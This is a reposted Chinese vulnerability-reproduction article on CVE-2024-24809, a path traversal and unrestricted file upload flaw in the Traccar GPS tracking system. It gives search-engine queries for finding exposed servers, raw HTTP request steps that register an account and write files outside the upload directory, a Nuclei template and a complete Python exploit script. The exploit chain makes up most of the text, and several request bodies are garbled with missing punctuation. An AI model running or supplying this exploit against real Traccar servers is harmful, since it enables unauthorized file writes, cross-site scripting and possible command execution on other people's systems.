CVE-2024-24809

admin 2024年11月27日11:06:43评论58 views字数 8301阅读27分40秒阅读模式

免责声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不承担任何法律及连带责任。
漏洞简介 ]
——  生活不可能像你想象的那么好,但也不会像你想象的那么糟。人的脆弱和坚强都超乎自己的想象。 ——

CVE-2024-24809

Description Traccar 是一个开源的 GPS 跟踪系统。6.0 之前的版本容易受到路径遍历和不受限制地上传危险类型的文件的影响。由于系统默认允许注册,攻击者可以通过注册账号来获取普通用户权限,并利用该漏洞上传前缀为 device 的文件。在任何文件夹下。攻击者可以利用此漏洞进行网络钓鱼、跨站点脚本攻击,并可能在服务器上执行任意命令。版本 6.0 包含针对该问题的补丁

CVE-2024-24809

漏洞信息

混子Hacker     

01

资产测绘

fofa: app="Traccar"Quake:title:"Traccar"

CVE-2024-24809

CVE-2024-24809

混子Hacker

02

漏洞复现

1、注册账号

POST /api/users HTTP/1.1Host: xxxContent-Type: application/jsonAccept-Encoding: gzip, deflateAccept: */*Content-Length: 73{"name": "用户名", "email": "邮箱", "password": "123456"}

CVE-2024-24809

2、登录获取cookie
POST /api/session HTTP/1.1Host: xxxContent-Type: application/x-www-form-urlencoded;charset=UTF-8Cookie: JSESSIONID=node04gx7rfnhjqgzm9ljql5tg9vn83.node0Accept-Encoding: gzip, deflateAccept: */*Content-Length: 40email=邮箱&password=123456

CVE-2024-24809

3、添加device,获取device_id即响应包中的id值
POST /api/devices HTTP/1.1Host: xxxAccept-Encoding: gzip, deflateAccept: */*Content-Type: application/jsonCookie: JSESSIONID=node04gx7rfnhjqgzm9ljql5tg9vn83.node0Content-Length: 44{"name": "oiCEsOJk", "uniqueId": "oiCEsOJk"}

CVE-2024-24809

4、上传文件,Content-Type设置为image/文件后缀
POST /api/devices/{device_id}/image HTTP/1.1Host: xxxAccept-Encoding: gzip, deflateAccept: */*Content-Type: image/HUyjxWsWCookie: JSESSIONID=node04gx7rfnhjqgzm9ljql5tg9vn83.node0Content-Length: 20hPrctfuSZzpXdTTGcqvO

CVE-2024-24809

5、更改上传路径device_name为步骤3中的name

PUT /api/devices/{device_id} HTTP/1.1Host: xxxAccept-Encoding: gzip, deflateAccept: */*Content-Type: application/jsonCookie: JSESSIONID=node04gx7rfnhjqgzm9ljql5tg9vn83.node0Content-Length: 326{"id": {device_id}, "attributes": {"deviceImage""device.png"}, "groupId"0"calendarId"0"name""test""uniqueId""{device_name}/../../../../../opt/traccar/modern""status""offline""lastUpdate"null"positionId"0"phone"null"model"null"contact"null"category"null"disabled"false"expirationTime"null}

CVE-2024-24809

6、再次上传文件

POST /api/devices/{device_id}/image HTTP/1.1Host: xxxAccept-Encoding: gzip, deflateAccept: */*Content-Type: image/HUyjxWsWCookie: JSESSIONID=node04gx7rfnhjqgzm9ljql5tg9vn83.node0Content-Length: 20hPrctfuSZzpXdTTGcqvO

CVE-2024-24809

访问上传成功

CVE-2024-24809

可以上传一个xss payload也是成功弹窗

CVE-2024-24809

CVE-2024-24809

混子Hacker

03

Nuclei Poc

id: CVE-2024-24809info:  name: Traccar - An authentication bypass vulnerability  author: Ghost_sec  severity: high  description:    Traccar is an open source GPS tracking system. Versions prior to 6.0 are vulnerable to path traversal and unrestricted upload of file with dangerous type. Since the system allows registration by default, attackers can acquire ordinary user permissions by registering an account and exploit this vulnerability to upload files with the prefix `device.` under any folder. Attackers can use this vulnerability for phishing, cross-site scripting attacks, and potentially execute arbitrary commands on the server. Version 6.0 contains a patch for the issue.  reference:    - https://github.com/traccar/traccar/commit/b099b298f90074c825ba68ce73532933c7b9d901    - https://notcve.org/view.php?id=CVE-2024-24809    - https://nvd.nist.gov/vuln/detail/CVE-2024-24809  classification:    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L    cvss-score: 8.5    cve-id: CVE-2024-24809    cwe-id: CWE-27    epss-score: 0.00043    epss-percentile: 0.09551  metadata:    verified: true    max-request: 1    shodan-query: app:"Traccar"  tags: cve,cve2024,traccar,rce,intrusive,file-uploadvariables:  name: "ghostsec"  password: "ghostsec"  email: "[email protected]"  unique: "{{rand_base(6)}}"  str: "{{randstr}}"flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7)http:  - raw:      - |        POST /api/users HTTP/1.1        Host: {{Hostname}}        Content-Type: application/json        {"name": "{{name}}", "email": "{{email}}", "password": "{{password}}", "totpKey": null}    matchers:      - type: word        part: body        words:          - '"administrator":'          - '"fixedEmail"'        condition: and        internal: true  - raw:      - |        POST /api/session HTTP/1.1        Host: {{Hostname}}        Content-Type: application/x-www-form-urlencoded;charset=UTF-8        email={{email}}&password={{password}}    matchers:      - type: word        part: body        words:          - '"deviceReadonly":'          - '"expirationTime":'        condition: and        internal: true  - raw:      - |        POST /api/devices HTTP/1.1        Host: {{Hostname}}        Content-Type: application/json        {"name": "{{unique}}", "uniqueId": "{{unique}}"}    matchers:      - type: word        part: body        words:          - '"calendarId"'          - '"groupId":'        condition: and        internal: true    extractors:      - type: json        part: body        name: value        internal: true        json:          - '.id'  - raw:      - |        POST /api/devices/{{value}}/image HTTP/1.1        Host: {{Hostname}}        Content-Type: image/srHtgGrc        {{str}}    extractors:      - type: regex        part: body        name: filename        internal: true        regex:          - 'device.([a-zA-Z]+)'    matchers:      - type: dsl        dsl:          - status_code == 200          - contains(content_type, "application/json")        condition: and        internal: true  - raw:      - |        PUT /api/devices/{{value}} HTTP/1.1        Host: {{Hostname}}        Content-Type: application/json        {"id": {{value}}, "attributes": {"deviceImage": "device.png"}, "groupId": 0, "calendarId": 0, "name": "test", "uniqueId": "{{unique}}/../../../../../opt/traccar/modern", "status": "offline", "lastUpdate": null, "positionId": 0, "phone": null, "model": null, "contact": null, "category": null, "disabled": false, "expirationTime": null}    matchers:      - type: word        part: body        words:          - '"deviceImage":'          - '"expirationTime":'        condition: and        internal: true  - raw:      - |        POST /api/devices/{{value}}/image HTTP/1.1        Host: {{Hostname}}        Content-Type: image/srHtgGrc        {{str}}    matchers:      - type: dsl        dsl:          - status_code == 200          - contains(content_type, "application/json")        condition: and        internal: true  - raw:      - |        GET /{{filename}} HTTP/1.1        Host: {{Hostname}}    matchers:      - type: dsl        dsl:          - status_code == 200

python脚本

import requestsimport randomimport stringimport syssession = requests.session()def generate_random_string(length=8):    letters = string.ascii_letters    result_str = ''.join(random.choice(letters) for i in range(length))    return result_strdef register(target, username):    headers = {        'Content-Type': "application/json"    }    data = {        "name": username,        "email": f"{username}@admin.com",        "password": "123456"    }    res = session.post(f"{target}/api/users",headers=headers, json=data)    return resdef login(target, username):    headers = {        'Content-Type': "application/x-www-form-urlencoded;charset=UTF-8"    }    data = 'email=' + username + '@admin.com&password=123456'    res = session.post(f"{target}/api/session",headers=headers, data=data)    return resdef add_device(target, device_name):    headers = {        'Content-Type': "application/json"    }    data = {        "name": device_name,        "uniqueId": device_name    }    res = session.post(f"{target}/api/devices",headers=headers, json=data)    return resdef upload_file(target, device_id, file_suffix, data):    headers = {        'Content-Type': f"image/{file_suffix}"    }    res = session.post(f"{target}/api/devices/{device_id}/image",headers=headers, data=data)    return resdef change_upload_path(target, device_id, device_name, upload_path):    headers = {        'Content-Type': 'application/json'    }    data = {        "id": device_id,        "attributes": {            "deviceImage": "device.png"        },        "groupId": 0,        "calendarId": 0,        "name": "test",        "uniqueId": f"{device_name}/../../../../..{upload_path}",        "status": "offline", "lastUpdate":None,"positionId":0,"phone":None,"model":None,"contact":None,"category":None,"disabled":False,"expirationTime":None}    res = session.put(f"{target}/api/devices/{device_id}",headers=headers, json=data)    return resif __name__ == "__main__":    if len(sys.argv) != 2:        print(f"Usage: python {sys.argv[0]} http://example.com:8082")        sys.exit(0)    target = sys.argv[1]    username = generate_random_string()    # register user    res = register(target, username)    if username not in res.text:        print("Register Error!!")        sys.exit(0)    print(f"Register: {username}@admin.com  Password: 123456")    # login    res = login(target, username)    if username not in res.text:        print("Login Error!!")        sys.exit(0)    print("Login Success!!")    device_name = generate_random_string()    # Add Device    res = add_device(target, device_name)    if 'id' not in res.text:        print("ADD Device Error!!")        sys.exit(0)    print(f'Add Device Success!! [{device_name}]')    device_id = res.json()['id']    # # Upload File    suffix = generate_random_string()    data = generate_random_string(20)    res = upload_file(target, device_id, suffix, data)    if 'device.' + suffix not in res.text:        print("Upload Error!!")        sys.exit(0)    print(f"First Upload Success!!")    # Change Upload Path    upload_path = "/opt/traccar/modern"    res = change_upload_path(target, device_id, device_name, upload_path)    if upload_path not in res.text:        print("Change Upload Path Error!!")        sys.exit(0)    print("Change Upload Path Success!!")    # Upload File Again    res = upload_file(target, device_id, suffix, data)    if 'device.' + suffix not in res.text:        print("Upload Error!!")        sys.exit(0)    print("Upload Success!!")    # Check upload    # if set upload_path = "/opt/traccar/modern"    check_url = f"{target}/device.{suffix}"    print(f"Check: {check_url}")    res = session.get(check_url)    if data in res.text:        print("Is a Vulnerability!")    else:        print('Not is a Vulnerability!')

<<<  END >>>

原创文章|转载请附上原文出处链接

更多漏洞|关注作者查看

作者|混子Hacker

原文始发于微信公众号(混子Hacker):【漏洞复现】CVE-2024-24809

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月27日11:06:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-24809https://cn-sec.com/archives/3432891.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息